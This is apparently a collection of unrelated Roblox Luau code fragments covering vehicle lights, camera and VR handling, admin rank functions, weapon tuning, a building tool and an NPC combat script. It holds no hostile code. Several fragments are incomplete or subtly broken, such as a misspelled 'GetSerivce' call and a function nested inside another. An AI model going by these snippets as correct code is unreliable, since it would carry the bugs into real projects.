local root = npc.HumanoidRootPart.RootJoint
root.C1 = CFrame.new(0,0,0)
|
-- check if the player is moving and not climbing
|
humanoid.Running:Connect(function(speed)
if humanoid.MoveDirection.Magnitude > 0 and speed > 0 and humanoid:GetState() ~= Enum.HumanoidStateType.Climbing then
getSoundProperties()
update()
currentSound.Playing = true
currentSound.Looped = true
else
currentSound:Stop()
end
end)
|
--health.Changed:connect(function()
--root.Hurt.Pitch = root.Hurt.OriginalPitch.Value+(math.random(-100,100)/100)
--root.Hurt:Play()
--end)
--
| |
--[=[
Returns true when we're animating
@return boolean -- True if animating
]=]
|
function SpringObject:IsAnimating()
return (SpringUtils.animating(self._currentSpring))
end
|
--!strict
--CacheManager
--Yuuwa0519
--2022-03-16
| |
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Plum",Paint)
end)
|
--> FUNCTIONS
|
script.Parent.Touched:Connect(function(Hit)
if not Touched then
if Hit.Parent:FindFirstChildOfClass("Humanoid") then
Player = game:GetService("Players")[Hit.Parent.Name]
elseif Hit.Parent.Parent:FindFirstChildOfClass("Humanoid") then
Player = game:GetService("Players")[Hit.Parent.Parent.Name]
end
if Player ~= nil then
Touched = true
game:GetService("TeleportService"):TeleportAsync(script.Parent.Parent.GameID.Value, {Player})
Player = nil
wait(.2)
Touched = false
end
end
end)
|
-- Remade by Truenus
|
wait(0.05)
local car = script.Parent.Parent.Car.Value
local GBrake = script.Parent.Parent.Values.Brake
function on()
car.Body.Lights.Light.Material=Enum.Material.Neon
car.Body.Lights.Light.Light.Enabled = true
function off()
car.Body.Lights.Light.Light.Enabled = false
car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
for i,v in pairs(car.Body.Lights:GetChildren()) do
end
end
end
function auto()
if (game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050) then
car.Body.Lights.Light.Material=Enum.Material.Neon
car.Body.Lights.Light.Light.Enabled = true
else
car.Body.Lights.Light.Light.Enabled = false
car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
end
end
script.Parent.MouseButton1Click:connect(function()
if script.Parent.Text == "Lights: Auto" then
on()
script.Parent.Text = "Lights: On"
elseif script.parent.Text == "Lights: On" then
script.Parent.Text = "Lights: Off"
off()
elseif script.parent.Text == "Lights: Off" then
auto()
script.Parent.Text = "Lights: Auto"
end
end)
script.Parent.Parent.Values.Brake.Changed:connect(function()
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name=="R" then
if v.Light.Enabled then
if GBrake.Value>0 then
v.Transparency=0
v.Light.Brightness=12
v.Light.Range=15
else
v.Transparency=.3
v.Light.Brightness=8
v.Light.Range=10
end
else
v.Transparency=0
if GBrake.Value>0 then
v.Material=Enum.Material.Neon
else
v.Material=Enum.Material.SmoothPlastic
end
end
elseif v.Name=="RR" then
if GBrake.Value>0 then
v.Material=Enum.Material.Neon
if v.Light.Enabled then
v.Transparency=1
else
v.Transparency=0
end
else
v.Transparency=1
if v.Light.Enabled then
v.Material=Enum.Material.Neon
else
v.Material=Enum.Material.SmoothPlastic
end
end
end
end
end)
game.Lighting.Changed:connect(auto)
auto()
|
--//Player//--
|
local Player = game.Players.LocalPlayer
|
--[=[
@return string
Metamethod to transform the option into a string.
```lua
local optA = Option.Some(64)
local optB = Option.None
print(optA) --> Option<number>
print(optB) --> Option<None>
```
]=]
|
function Option:__tostring()
if self:IsSome() then
return ("Option<" .. typeof(self._v) .. ">")
else
return "Option<None>"
end
end
|
-- SETUP ENUMS
|
local createEnum = Enum.createEnum
for _, childModule in pairs(script:GetChildren()) do
if childModule:IsA("ModuleScript") then
local enumDetail = require(childModule)
createEnum(childModule.Name, enumDetail)
end
end
|
------------------------------------------------------------------------------------
|
local WaitTime = 30 -- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Six Flags Tornado" -- If your model is not named this, then make the purple words the same name as the model!
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {7,10} --- Vertical Recoil
,HRecoil = {3,5} --- Horizontal Recoil
,AimRecover = .9 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 5 --- Vertical Punch
,HPunchBase = 1.75 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 1 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = 1
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .5
,MinSpread = 5 --- Min bullet spread value | Studs
,MaxSpread = 55 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 2.5
,WalkMultiplier = 0.25 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1 --- Max sway value based on player stamina | Studs
|
-- << API >>
|
function hd:DisableCommands(player, boolean)
if boolean then
main.commandBlocks[player] = true
local pdata = main.pd[player]
if pdata and pdata.Donor then
main:GetModule("Parser"):ParseMessage(player, "!unlasereyes", false)
end
else
main.commandBlocks[player] = nil
end
end
function hd:SetRank(player, rank, rankType)
if tonumber(rank) == nil then
rank = main:GetModule("cf"):GetRankId(rank)
end
if not player then
return(errors.Player)
elseif rank > 8 or (rank == 8 and player.UserId ~= main.ownerId) then
return("Cannot set a player's rank above or equal to 5 (Owner)!")
else
main:GetModule("cf"):SetRank(player, main.ownerId, rank, rankType)
end
end
function hd:UnRank(player)
main:GetModule("cf"):Unrank(player)
end
function hd:GetRank(player)
local pdata = main.pd[player]
if not pdata then
return 0, errors.Player
else
local rankId = pdata.Rank
local rankName = main:GetModule("cf"):GetRankName(rankId)
local rankType = main:GetModule("cf"):GetRankType(player)
return rankId, rankName, rankType
end
end
return hd
|
-- [[ VR Support Section ]] --
|
function BaseCamera:ApplyVRTransform()
if not VRService.VREnabled then
return
end
--we only want this to happen in first person VR
local rootJoint = self.humanoidRootPart and self.humanoidRootPart:FindFirstChild("RootJoint")
if not rootJoint then
return
end
local cameraSubject = game.Workspace.CurrentCamera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA("VehicleSeat")
if self.inFirstPerson and not isInVehicle then
local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
local vrRotation = vrFrame - vrFrame.p
rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
else
rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
end
end
function BaseCamera:IsInFirstPerson()
return self.inFirstPerson
end
function BaseCamera:ShouldUseVRRotation()
if not VRService.VREnabled then
return false
end
if not self.VRRotationIntensityAvailable and tick() - self.lastVRRotationIntensityCheckTime < 1 then
return false
end
local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
self.VRRotationIntensityAvailable = success and vrRotationIntensity ~= nil
self.lastVRRotationIntensityCheckTime = tick()
self.shouldUseVRRotation = success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth"
return self.shouldUseVRRotation
end
function BaseCamera:GetVRRotationInput()
local vrRotateSum = ZERO_VECTOR2
local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
if not success then
return
end
local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2
local delayExpired = (tick() - self.lastVRRotationTime) >= self:GetRepeatDelayValue(vrRotationIntensity)
if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then
if (delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then
local sign = 1
if vrGamepadRotation.x < 0 then
sign = -1
end
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign
self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true
end
elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then
self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil
end
if self.turningLeft then
if delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Left] then
vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity)
self.vrRotateKeyCooldown[Enum.KeyCode.Left] = true
end
else
self.vrRotateKeyCooldown[Enum.KeyCode.Left] = nil
end
if self.turningRight then
if (delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Right]) then
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity)
self.vrRotateKeyCooldown[Enum.KeyCode.Right] = true
end
else
self.vrRotateKeyCooldown[Enum.KeyCode.Right] = nil
end
if vrRotateSum ~= ZERO_VECTOR2 then
self.lastVRRotationTime = tick()
end
return vrRotateSum
end
function BaseCamera:CancelCameraFreeze(keepConstraints)
if not keepConstraints then
self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 1, self.cameraTranslationConstraints.z)
end
if self.cameraFrozen then
self.trackingHumanoid = nil
self.cameraFrozen = false
end
end
function BaseCamera:StartCameraFreeze(subjectPosition, humanoidToTrack)
if not self.cameraFrozen then
self.humanoidJumpOrigin = subjectPosition
self.trackingHumanoid = humanoidToTrack
self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 0, self.cameraTranslationConstraints.z)
self.cameraFrozen = true
end
end
function BaseCamera:RescaleCameraOffset(newScaleFactor)
self.headHeightR15 = R15_HEAD_OFFSET * newScaleFactor
end
function BaseCamera:OnHumanoidSubjectChildAdded(child)
if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then
if self.heightScaleChangedConn then
self.heightScaleChangedConn:Disconnect()
end
self.heightScaleChangedConn = child.Changed:Connect(function(newScaleFactor)
self:RescaleCameraOffset(newScaleFactor)
end)
self:RescaleCameraOffset(child.Value)
end
end
function BaseCamera:OnHumanoidSubjectChildRemoved(child)
if child.Name == "BodyHeightScale" then
self:RescaleCameraOffset(1)
if self.heightScaleChangedConn then
self.heightScaleChangedConn:Disconnect()
self.heightScaleChangedConn = nil
end
end
end
function BaseCamera:OnNewCameraSubject()
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if self.humanoidChildAddedConn then
self.humanoidChildAddedConn:Disconnect()
self.humanoidChildAddedConn = nil
end
if self.humanoidChildRemovedConn then
self.humanoidChildRemovedConn:Disconnect()
self.humanoidChildRemovedConn = nil
end
if self.heightScaleChangedConn then
self.heightScaleChangedConn:Disconnect()
self.heightScaleChangedConn = nil
end
local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
if self.trackingHumanoid ~= humanoid then
self:CancelCameraFreeze()
end
if humanoid and humanoid:IsA("Humanoid") then
self.humanoidChildAddedConn = humanoid.ChildAdded:Connect(function(child)
self:OnHumanoidSubjectChildAdded(child)
end)
self.humanoidChildRemovedConn = humanoid.ChildRemoved:Connect(function(child)
self:OnHumanoidSubjectChildRemoved(child)
end)
for _, child in pairs(humanoid:GetChildren()) do
self:OnHumanoidSubjectChildAdded(child)
end
self.subjectStateChangedConn = humanoid.StateChanged:Connect(function(oldState, newState)
if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not self.inFirstPerson then
self:StartCameraFreeze(self:GetSubjectPosition(), humanoid)
elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
self:CancelCameraFreeze(true)
end
end)
end
end
function BaseCamera:GetVRFocus(subjectPosition, timeDelta)
local lastFocus = self.LastCameraFocus or subjectPosition
if not self.cameraFrozen then
self.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, math.min(1, self.cameraTranslationConstraints.y + 0.42 * timeDelta), self.cameraTranslationConstraints.z)
end
local newFocus
if self.cameraFrozen and self.humanoidJumpOrigin and self.humanoidJumpOrigin.y > lastFocus.y then
newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(self.humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))
else
newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, self.cameraTranslationConstraints.y))
end
if self.cameraFrozen then
-- No longer in 3rd person
if self.inFirstPerson then -- not VRService.VREnabled
self:CancelCameraFreeze()
end
-- This case you jumped off a cliff and want to keep your character in view
-- 0.5 is to fix floating point error when not jumping off cliffs
if self.humanoidJumpOrigin and subjectPosition.y < (self.humanoidJumpOrigin.y - 0.5) then
self:CancelCameraFreeze()
end
end
return newFocus
end
function BaseCamera:GetRotateAmountValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_ROTATION
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_ROTATION
end
end
return ZERO_VECTOR2
end
function BaseCamera:GetRepeatDelayValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_REPEAT
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_REPEAT
end
end
return 0
end
function BaseCamera:Test()
print("BaseCamera:Test()")
end
function BaseCamera:Update(dt)
warn("BaseCamera:Update() This is a virtual function that should never be getting called.")
return game.Workspace.CurrentCamera.CFrame, game.Workspace.CurrentCamera.Focus
end
return BaseCamera
|
--[=[
Observables are like an [signal](/api/Signal], except they do not execute code
until the observable is subscribed to. This follows the standard
Rx API surface for an observable.
Observables use a [Subscription](/api/Subscription) to emit values.
```lua
-- Constucts an observable which will emit a, b, c via a subscription
local observable = Observable.new(function(sub)
print("Connected")
sub:Fire("a")
sub:Fire("b")
sub:Fire("c")
sub:Complete() -- ends stream
end)
local sub1 = observable:Subscribe() --> Connected
local sub2 = observable:Subscribe() --> Connected
local sub3 = observable:Subscribe() --> Connected
sub1:Destroy()
sub2:Destroy()
sub3:Destroy()
```
Note that emitted values may be observed like this
```lua
observable:Subscribe(function(value)
print("Got ", value)
end)
--> Got a
--> Got b
--> Got c
```
Note that also, observables return a [MaidTask](/api/MaidTask) which
should be used to clean up the resulting subscription.
```lua
maid:GiveTask(observable:Subscribe(function(value)
-- do work here!
end))
```
Observables over signals are nice because observables may be chained and manipulated
via the Pipe operation.
:::tip
You should always clean up the subscription using a [Maid](/api/Maid), otherwise
you may memory leak.
:::
@class Observable
]=]
|
local require = require(script.Parent.loader).load(script)
local Subscription = require("Subscription")
local ENABLE_STACK_TRACING = false
local Observable = {}
Observable.ClassName = "Observable"
Observable.__index = Observable
|
-- Animate
|
playAnimation.OnServerEvent:Connect(function(player, animation, speed)
local animation = player.Character:WaitForChild("Humanoid"):LoadAnimation(animation)
animation:Play()
animation:AdjustSpeed(speed)
tool.Unequipped:Connect(function()
animation:Stop()
end)
end)
|
-- if script.Parent.DriveSeat.Lights.Value == true then --Headlight object; neons aren't affected by auto lighting
-- script.Parent.Body.Lights.L.Light.Enabled = true
-- else
-- script.Parent.Body.Lights.L.Light.Enabled = false
-- end
|
script.Parent.Body.Dash.Spd.G.Enabled = true --always on
script.Parent.Body.Dash.Tac.G.Enabled = true
end
|
------------------------------------------------------------------------
-- e.g. to compare with symbols, luaP:getOpMode(...) == luaP.OpCode.iABC
-- * accepts opcode parameter as strings, e.g. "OP_MOVE"
------------------------------------------------------------------------
|
function luaP:getOpMode(m)
return self.opmodes[self.OpCode[m]] % 4
end
function luaP:getBMode(m)
return math.floor(self.opmodes[self.OpCode[m]] / 16) % 4
end
function luaP:getCMode(m)
return math.floor(self.opmodes[self.OpCode[m]] / 4) % 4
end
function luaP:testAMode(m)
return math.floor(self.opmodes[self.OpCode[m]] / 64) % 2
end
function luaP:testTMode(m)
return math.floor(self.opmodes[self.OpCode[m]] / 128)
end
|
--[=[
Requires all descendant ModuleScripts
@param parent Instance -- Parent to scan
@return {ModuleScript} -- Array of required modules
]=]
|
function Loader.LoadDescendants(parent: Instance): Modules
local modules: Modules = {}
for _,descendant in ipairs(parent:GetDescendants()) do
if descendant:IsA("ModuleScript") then
local m = require(descendant)
table.insert(modules, m)
end
end
return modules
end
return Loader
|
-- @Context Client/Server
-- Yields for the database to fully load
|
function APILoadout.WaitForDatabase()
while not Database.Loadouts do wait() end
end
|
--[[Steering]]
|
Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
-- END OF INSTALLATION
|
if Configuration.PrintingEnabled == false then
else
print("DOORS 👁️ Sound Pack: Done!")
end
script.Parent:Destroy()
|
--[[
The task.wait() calls below are placeholders for calling asynchronous functions
that would load parts of your game.
--]]
|
local ContentProvider = game:GetService("ContentProvider")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function AnchorTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
BindShortcutKeys();
end;
function AnchorTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if UI then
-- Reveal the UI
UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
UI = Core.Tool.Interfaces.BTAnchorToolGUI:Clone();
UI.Parent = Core.UI;
UI.Visible = true;
-- References to UI elements
local AnchorButton = UI.Status.Anchored.Button;
local UnanchorButton = UI.Status.Unanchored.Button;
-- Enable the anchor status switch
AnchorButton.MouseButton1Click:Connect(function ()
SetProperty('Anchored', true);
end);
UnanchorButton.MouseButton1Click:Connect(function ()
SetProperty('Anchored', false);
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not UI then
return;
end;
-- Check the common anchor status of selection
local Anchored = Support.IdentifyCommonProperty(Selection.Parts, 'Anchored');
-- Update the anchor option switch
if Anchored == true then
Core.ToggleSwitch('Anchored', UI.Status);
-- If the selection is unanchored
elseif Anchored == false then
Core.ToggleSwitch('Unanchored', UI.Status);
-- If the anchor status varies, don't select a current switch
elseif Anchored == nil then
Core.ToggleSwitch(nil, UI.Status);
end;
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not UI then
return;
end;
-- Hide the UI
UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function SetProperty(Property, Value)
-- Make sure the given value is valid
if Value == nil then
return;
end;
-- Start a history record
TrackChange();
-- Go through each part
for _, Part in pairs(Selection.Parts) do
-- Store the state of the part before modification
table.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] });
-- Create the change request for this part
table.insert(HistoryRecord.After, { Part = Part, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function BindShortcutKeys()
-- Enables useful shortcut keys for this tool
-- Track user input while this tool is equipped
table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this input is a key press
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Check if the enter key was pressed
if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then
-- Toggle the selection's anchor status
ToggleAnchors();
end;
end));
end;
function ToggleAnchors()
-- Toggles the anchor status of the selection
-- Change the anchor status to the opposite of the common anchor status
SetProperty('Anchored', not Support.IdentifyCommonProperty(Selection.Parts, 'Anchored'));
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncAnchor', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncAnchor', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncAnchor', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
-- palys anim
|
function module.play2(anim,hum)
local animation = hum.Animator:LoadAnimation(anim)
animation:Play()
end
function module.loadAnimId(id, data)
local anim = data.anim or nil
if anim then
anim.AnimationId = id
end
return anim
end
function module.loadnPlay(id, anim, hum)
anim.AnimationId = id
local animation = hum.Animator:LoadAnimation(anim)
animation:Play()
end
|
-- elseif input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonL3 then
-- if (state == Enum.UserInputState.Begin) then
-- self.L3ButtonDown = true
-- elseif (state == Enum.UserInputState.End) then
-- self.L3ButtonDown = false
-- self.currentZoomSpeed = 1.00
-- end
-- end
|
end
function BaseCamera:DoKeyboardZoom(name, state, input)
if not self.hasGameLoaded and VRService.VREnabled then
return Enum.ContextActionResult.Pass
end
if state ~= Enum.UserInputState.Begin then
return Enum.ContextActionResult.Pass
end
if self.distanceChangeEnabled and Players.LocalPlayer.CameraMode ~= Enum.CameraMode.LockFirstPerson then
if input.KeyCode == Enum.KeyCode.I then
self:SetCameraToSubjectDistance( self.currentSubjectDistance - 5 )
elseif input.KeyCode == Enum.KeyCode.O then
self:SetCameraToSubjectDistance( self.currentSubjectDistance + 5 )
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function BaseCamera:BindAction(actionName, actionFunc, createTouchButton, ...)
table.insert(self.boundContextActions, actionName)
ContextActionService:BindActionAtPriority(actionName, actionFunc, createTouchButton,
CAMERA_ACTION_PRIORITY, ...)
end
function BaseCamera:BindGamepadInputActions()
self:BindAction("BaseCameraGamepadPan", function(name, state, input) return self:GetGamepadPan(name, state, input) end,
false, Enum.KeyCode.Thumbstick2)
self:BindAction("BaseCameraGamepadZoom", function(name, state, input) return self:DoGamepadZoom(name, state, input) end,
false, Enum.KeyCode.DPadLeft, Enum.KeyCode.DPadRight, Enum.KeyCode.ButtonR3)
end
function BaseCamera:BindKeyboardInputActions()
self:BindAction("BaseCameraKeyboardPanArrowKeys", function(name, state, input) return self:DoKeyboardPanTurn(name, state, input) end,
false, Enum.KeyCode.Left, Enum.KeyCode.Right)
self:BindAction("BaseCameraKeyboardZoom", function(name, state, input) return self:DoKeyboardZoom(name, state, input) end,
false, Enum.KeyCode.I, Enum.KeyCode.O)
end
local function isInDynamicThumbstickArea(input)
local playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
local touchGui = playerGui and playerGui:FindFirstChild("TouchGui")
local touchFrame = touchGui and touchGui:FindFirstChild("TouchControlFrame")
local thumbstickFrame = touchFrame and touchFrame:FindFirstChild("DynamicThumbstickFrame")
if not thumbstickFrame then
return false
end
local frameCornerTopLeft = thumbstickFrame.AbsolutePosition
local frameCornerBottomRight = frameCornerTopLeft + thumbstickFrame.AbsoluteSize
if input.Position.X >= frameCornerTopLeft.X and input.Position.Y >= frameCornerTopLeft.Y then
if input.Position.X <= frameCornerBottomRight.X and input.Position.Y <= frameCornerBottomRight.Y then
return true
end
end
return false
end
|
-- Client exposed GetPoints method:
|
function PointsService.Client:GetPoints(player)
return self.Server:GetPoints(player)
end
|
-- Triggers
|
rs.RenderStepped:Connect(onRenderStepped)
|
-- place this script into StarterPlayerScripts
-- it will not work otherwise
|
local sm = Color3.fromRGB(45, 133, 165)--color of the message
game:GetService('Players').PlayerAdded:Connect(function(plr)
local message = (plr.Name..' has joined.')
game.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = message;
Font = Enum.Font.SourceSansBold;
Color = sm;
FontSize = Enum.FontSize.Size18;
})
end)
game:GetSerivce('Players').PlayerRemoving:Connect(function(plr)
local message = (plr.Name..' has left. ):')
game.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = message;
Font = Enum.Font.SourceSansBold;
Color = sm;
FontSize = Enum.FontSize.Size18;
})
end)
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|
wait(.1)
local people = script.Parent:GetChildren()
for i = 1,#people do
if people[i].className == "Part" then
people[i].TopSurface = "Weld"
people[i].BottomSurface = "Weld"
people[i].LeftSurface = "Weld"
people[i].RightSurface = "Weld"
people[i].FrontSurface = "Weld"
people[i].BackSurface = "Weld"
end end
|
--Animations
|
local stabAnimation = myHuman:LoadAnimation(script.Parent.Stab)
stabAnimation.Priority = Enum.AnimationPriority.Action
local throwAnimation = myHuman:LoadAnimation(script.Parent.ThrowAnimation)
throwAnimation.Priority = Enum.AnimationPriority.Action
throwAnimation.Looped = false
local reloadAnimation = myHuman:LoadAnimation(script.Parent.Reload)
reloadAnimation.Priority = Enum.AnimationPriority.Action
local reloading = false
local weaponAimed = false
local weaponCool = true
local m4Equipped = false
local knifeEquipped = false
local grenadeCool = true
local fullMag = 30
local mag = fullMag
local allies = {script.Parent.Name}
local potentialTargets = {}
local activeAllies = {}
function checkDist(part1,part2)
return (part1.Position - part2.Position).Magnitude
end
function checkSight(target)
local ray = Ray.new(barrel.Position, (target.Position - barrel.Position).Unit * 150)
local part,position = workspace:FindPartOnRayWithIgnoreList(ray, {script.Parent})
local ray2 = Ray.new(myTorso.Position, (target.Position - myTorso.Position).Unit * 150)
local part2,position2 = workspace:FindPartOnRayWithIgnoreList(ray2, {script.Parent})
if part and part2 then
if part:IsDescendantOf(target.Parent) and part2:IsDescendantOf(target.Parent) then
return true
end
end
return false
end
function findTarget()
local dist = 85
local target = nil
potentialTargets = {}
local seeTargets = {}
for _,v in ipairs(workspace:GetChildren()) do
local human = v:FindFirstChild("Humanoid")
local torso = v:FindFirstChild("Torso") or v:FindFirstChild("HumanoidRootPart")
if human and torso and v ~= script.Parent then
if (myTorso.Position - torso.Position).magnitude < dist and human.Health > 0 then
for i,x in ipairs(allies) do
if x == v.Name then
table.insert(activeAllies,torso)
break
elseif i == #allies then
table.insert(potentialTargets,torso)
end
end
end
end
end
if #potentialTargets > 0 then
for i,v in ipairs(potentialTargets) do
if checkSight(v) then
table.insert(seeTargets,v)
end
end
if #seeTargets > 0 then
for i,v in ipairs(seeTargets) do
if (myTorso.Position - v.Position).magnitude < dist then
target = v
dist = (myTorso.Position - v.Position).magnitude
end
end
else
for i,v in ipairs(potentialTargets) do
if (myTorso.Position - v.Position).magnitude < dist then
target = v
dist = (myTorso.Position - v.Position).magnitude
end
end
end
end
return target
end
function pathToLocation(target)
local path = game:GetService("PathfindingService"):CreatePath()
path:ComputeAsync(myTorso.Position, target.Position)
local waypoints = path:GetWaypoints()
for _,waypoint in ipairs(waypoints) do
if waypoint.Action == Enum.PathWaypointAction.Jump then
myHuman.Jump = true
end
myHuman:MoveTo(waypoint.Position)
delay(0.5,function()
if myHuman.WalkToPoint.Y > myTorso.Position.Y then
myHuman.Jump = true
end
end)
local moveSuccess = myHuman.MoveToFinished:Wait()
if not moveSuccess or checkSight(target) then
break
end
end
end
function walkRandom()
local rallyPoint = workspace.RallyPoints:GetChildren()[math.random(1,#workspace.RallyPoints:GetChildren())]
local randX = rallyPoint.Position.X
local randZ = rallyPoint.Position.Z
local goal = myTorso.Position + Vector3.new(randX, 0, randZ)
local path = game:GetService("PathfindingService"):CreatePath()
path:ComputeAsync(myTorso.Position, goal)
local waypoints = path:GetWaypoints()
if path.Status == Enum.PathStatus.Success then
for i,waypoint in ipairs(waypoints) do
if waypoint.Action == Enum.PathWaypointAction.Jump then
myHuman.Jump = true
end
myHuman:MoveTo(waypoint.Position)
delay(0.5,function()
if myHuman.WalkToPoint.Y > myTorso.Position.Y then
myHuman.Jump = true
end
end)
local moveSuccess = myHuman.MoveToFinished:Wait()
if not moveSuccess then
break
end
if i % 5 == 0 then
if findTarget() then
break
end
end
end
else
wait(2)
end
end
function drawM4()
yieldKnife()
if m4Equipped == false then
m4Equipped = true
equipSound:Play()
--Right Arm Setup
rShoulder.Part1 = nil
rArm.CFrame = aimer.CFrame * CFrame.new(1.25,0.05,-0.65) * CFrame.Angles(math.rad(80),math.rad(0),math.rad(-10))
rArmWeld.Part1 = rArm
--Left Arm Setup
lShoulder.Part1 = nil
lArm.CFrame = aimer.CFrame * CFrame.new(-0.35,0.05,-1.48) * CFrame.Angles(math.rad(84),math.rad(-3),math.rad(28))
lArmWeld.Part1 = lArm
--M4 Setup
m4Weld.Part0 = nil
m4.CFrame = aimer.CFrame * CFrame.new(0.65,0.37,-2.22) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))
m4Weld.Part0 = aimer
end
end
